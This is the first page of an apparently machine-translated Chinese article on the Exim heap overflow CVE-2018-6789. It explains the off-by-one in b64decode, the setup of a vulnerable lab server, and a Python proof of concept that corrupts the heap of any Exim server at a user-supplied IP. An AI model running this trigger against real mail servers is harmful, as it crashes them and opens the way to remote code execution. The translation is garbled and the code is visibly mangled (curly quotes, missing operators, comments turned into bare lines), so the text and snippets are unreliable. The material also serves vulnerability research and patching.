Statement: disclosed herein is a method and script for study and research use, any team or individual may use the disclosure herein related to content engaged in the illegal network attacks, otherwise all the consequences by the user himself to bear with the author of this article has nothing to do.
2018 2 November, the popular open source mail server Exim exposed a heap overflow vulnerability, CVE-2018-6789, and affected nearly 4. 90. 1 all the previous versions.
The vulnerability finders—Taiwan security researcher Meh on the blog is provided the use of the vulnerability for remote code execution of the ideas in the tweets also indicate that the final bypass various mitigation measures to successfully achieve remote code execution:

! [](/Article/UploadPic/2018-4/201849174458151. png? www. myhack58. com)
Currently Meh and not disclose the exploit code, Huawei the first place lab security researcher skysider based on Meh idea in the experiment environment the successful implementation of the remote command is executed, the associated vulnerability of the environment and the use of the code please visit: https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789
1. Vulnerability causes
The vulnerabilities of Genesis is the b64decode function in the non-standard base64-encoded data is decoded when the May overflow the stack of a byte, the comparison of the classic off-by-one vulnerability.
There are holes in the b64decode function part of the code is as follows:
b64decode(const uschar *code, uschar **ptr)
{
int x, y;
uschar result = store_get(3(Ustrlen(code)/4) + 1);
ptr = result;
/ Each cycle of the loop handles a quantum of 4 input bytes. For the last
quantum this may decode to 1, 2, or 3 output bytes. */
…
}
This piece of code to decode the base64 logic is to put the 4 bytes as a group, the 4 bytes are decoded into 3 bytes, but when the last remaining 3 bytes that the len(code)=4n+3, will decode that into 2 bytes, the decoding after the total length is 3n+2 bytes, while the allocated heap space of size 3n+1, Therefore it will happen a stack overflow. Of course, given the official repair programme is also very simple, the multi-allocation of a few bytes.
2. Environment to build
Meh blog vulnerability test exim version is directly through the apt installation, but since the debian official has been fixed the warehouse in the exim vulnerability, you can view the package source code of the patch information to confirm:
root@skysider:~/poc/exim4-4.86.2# apt-get source exim4
…
dpkg-source: info: applying 93_CVE-2017-1000368. patch
dpkg-source: info: applying fix_smtp_banner. patch
dpkg-source: info: applying CVE-2016-9963. patch
dpkg-source: info: applying CVE-2018-6789. patch
We choose to download an earlier version of the source code to compile the installation:
sudo apt-get build-dep exim4
wget https://github.com/Exim/exim/releases/download/exim-4_89/exim-4.89.tar.xz
During compilation you want to install some dependent libraries, you also need to modify the Makefile, create user, configuration, log file permissions, etc., can refer to the Dockerfile of the installation process.
exim can be specified at run time configuration file, in order to trigger the vulnerability and command execution, you need to configure the CRAM-MD5 authenticator and is set acl_smtp_mail, etc., the configuration file is as follows:
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
. ifdef CHECK_MAIL_HELO_ISSUED
deny
message = no HELO given before MAIL command
condition = ${if def:sender_helo_name {no}{yes}}
. endif
accept
acl_check_data:
accept
begin authenticators
fixed_cram:
driver = cram_md5
public_name = CRAM-MD5
server_secret = ${if eq{$auth1}{ph10}{secret}fail}
server_set_id = $auth1
In debug mode start the exim service:
exim-bd-d-receive-C conf. conf
You can also directly use the docker to verify the vulnerability, the above commands for the default boot command of:
docker run-it --name exim-p 25:25 skysider/vulndocker:cve-2018-6789
3. Vulnerability testing
We use a simple poc to trigger the vulnerability, poc code is as follows:
#!/ usr/bin/python

-- coding: utf-8 --

import smtplib
from base64 import b64encode
print “this poc is tested in exim 4.89 x64 bit with cram-md5 authenticators”
ip_address = raw_input("input ip address: ")
s = smtplib. SMTP(ip_address)
#s. set_debuglevel(1)

1. put a huge chunk into unsorted bin

s. ehlo(“mmmm”+“b”*0x1500) # 0x2020

2. send base64 data and trigger the off-by-one

#raw_input(“overwrite one byte of next chunk”)
s. docmd(“AUTH CRAM-MD5”)
payload = “d”*(0x2008-1)
try:
s. docmd(b64encode(payload)+b64encode(‘\xf1\xf1’)[:-1])
s. quit()
except smtplib. SMTPServerDisconnected:
print “[!] exim server seems to be vulnerable to CVE-2018-6789.”
When executing this Code, it will trigger a memory error

! [](/Article/UploadPic/2018-4/201849174458752. png? www. myhack58. com)
In this process, the stack of the main changes are as follows:

! [](/Article/UploadPic/2018-4/201849174459960. png? www. myhack58. com)
We can go to observe the error before the stack, attach to the child process, the following figure is to send the ehlo message after the heap:

! [](/Article/UploadPic/2018-4/201849174459191. png? www. myhack58. com)
Send Auth data, we can look after executing the b64decode function after the heap:

! [](/Article/UploadPic/2018-4/201849174459700. png? www. myhack58. com)

[1] [2] [3] next